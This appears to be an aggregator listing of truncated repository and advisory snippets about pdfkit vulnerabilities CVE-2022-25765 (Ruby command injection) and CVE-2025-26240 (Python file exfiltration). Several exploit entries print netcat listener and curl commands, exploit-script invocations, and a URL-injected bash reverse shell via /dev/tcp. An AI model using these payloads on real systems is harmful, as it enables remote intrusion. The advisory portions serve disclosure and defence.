PDFkit-CMD-Injection

PDFkit-CMD-Injection 命令注入漏洞 CVE-2022-25765 pdfkit 0.8.6 命令注入漏洞。 pdfkit 包容易受到命令注入攻击，原因是 URL 未进行适当清理。 注意：该问题已在 0.8.7.2 中修补，但后来发现该修补无效。更新后的修补版本为 0.8.7.2。 PoC 启动一个 HTTP 服务器 python3 -m http.server 80 启动一个 netcat 监听器 nc -nlvp 4444 使用 CURL 发送请求 curl 'TARGETADDRESS' -X POST -H 'User-Agent: Mozilla/5.0 X1...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Mediante CURL modificar valores en negrita: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit 漏洞利用 - 命令注入 喜欢这个仓库吗？给我们一个 ⭐！ 仅用于教育和授权的安全研究目的。 漏洞利用作者 @UNICORDev 由 @NicPWNs 和 @Dev-Yeoj 编写 漏洞描述 pdfkit 包从 0.0.0 版本起即存在命令注入漏洞，因为其 URL 未被正确清理。 漏洞利用说明 Ruby gem pdfkit 通常用于将网站或 HTML 转换为 PDF 文档。该软件存在漏洞的版本（ python3 exploit-CVE-2022–25765.py -s python3 exploit-CVE-2022–25765.py -c -...

CVE-2022-25765

CVE-2022-25765 — pdfkit CVE-2022-25765 的 PoC，影响存在漏洞的 pdfkit 版本。 已在 pdfkit 0.8.6 上测试。 环境要求 Python 3.x requests colorama 安装依赖： pip3 install -r requirements.txt 或手动安装： pip3 install requests colorama 使用方法 python3 exploit2.py -u -l -p 示例： 启动监听器 nc -lvnp 4242 python3 exploit2.py -u http://10.10.10.10 -...

CVE-2022-25765-exploit

CVE-2022-25765 — pdfkit 中的命令注入 描述 CVE-2022-25765 是一个影响 pdfkit （Ruby gem） 0.8.7.2 版本的命令注入 （Command Injection）漏洞。该漏洞严重性为 CRITICAL ，CVSS 评分为 9.8，因为其允许在无需身份验证的情况下远程执行命令。 问题在于 pdfkit 将 url 参数直接传递给 shell，而未进行任何清理。该库在内部通过类似以下命令执行 wkhtmltopdf： system"wkhtmltopdf --quiet ... 'url' output.pdf" 如果 URL 中包含...

CVE-2025-26240

CVE-2025-26240 这是针对pdfkit中fromstring方法利用的概念验证代码。它包含一个展示LFI和SSRF的简单有效载荷。...

PDFKitExploit

此存储库没有 README。...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 针对 pdfkit 0.8.6 中 CVE-2022-25765 命令注入漏洞的利用工具 关于该漏洞的更多详细信息，请参见此处 PoC 在您的主机上运行 netcat： $ nc -lvnp 1337 运行利用工具（示例）： $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address is http://localhost Input address for reverse connect is...

CVE-2022-25765

CVE-2022-25765 漏洞利用 针对 CVE-2022-25765（PDFkit 命令注入）的小型 PoC 漏洞利用 使用方法 1. 在攻击机器上启动 netcat 监听器： nc -lvnp 4444 2. 运行漏洞利用程序： python cve-2022-25765.py -t http://目标IP:端口 -l 你的IP -p 你的端口 示例： python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444 参数说明： -t, --target：运行存在漏洞的 PDFKit 的目标 URL...

PDFkit-CMD-Injection

PDFkit-命令注入 CVE-2022-25765 详情 描述 pdfkit 包从 0.0.0 版本起存在命令注入漏洞，原因是 URL 未被正确清理。 PoC 启动 HTTP 服务器 1- python3 -m http.server 80 启动 netcat 监听器 2- nc -lnvp 'Target Port' 发起请求 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i &/dev/tcp/"TargetADRESS/LISTENINGPORT"&1''...

CVE-2025-26240

A flaw was found in python-pdfkit. The fromstring method allows an attacker to execute JavaScript code within the server application's context. This can lead to the exfiltration of local files, potentially compromising sensitive information. Mitigation To reduce exposure, avoid processing untrust...

CLSA-2026-1772496734 TuxCare security update for pdfkit (1 CVE)

TuxCare rebuilt pdfkit to address 1 CVE. Fixed in 0.6.1.post1+tuxcare...

PYSEC-2026-2860 pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

PT-2026-59498

In JazzCore python-pdfkit 1.0.0, the from string method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

Linux Distros Unpatched Vulnerability : CVE-2025-26240

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltratio...

Buffer Overflow

Overview pdfkit is a Wkhtmltopdf python wrapper to convert html to pdf using the webkit rendering engine and qt Affected versions of this package are vulnerable to Buffer Overflow via the fromstring function. An attacker can execute arbitrary JavaScript code within the server application context...

GHSA-9G3X-6X24-VF9F pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...

a2grunnerp (>=0.1.0, <=0.1.8), agentfoundry (>=1.3.9, <=1.5.86) +221 more potentially affected by CVE-2025-26240 via pdfkit (>=0.6.0, <=1.0.0)

pdfkit PYPI version =0.6.0, =0.1.0, =1.3.9, =1.2.0, =1.1.3, =0.1.35, =0.1.0, =0.1.0, =0.0.1, =0.0.1, =0.5.3, =0.5.5, =0.1.17, =0.1.23 and more Source cves: CVE-2025-26240 Source advisory: SNYK:PYTHON-PDFKIT-17391903...

pdfkit: Path traversal in from_string

In JazzCore python-pdfkit 1.0.0, the fromstring method enables the execution of JavaScript code within the context of the server application and the exfiltration of local files...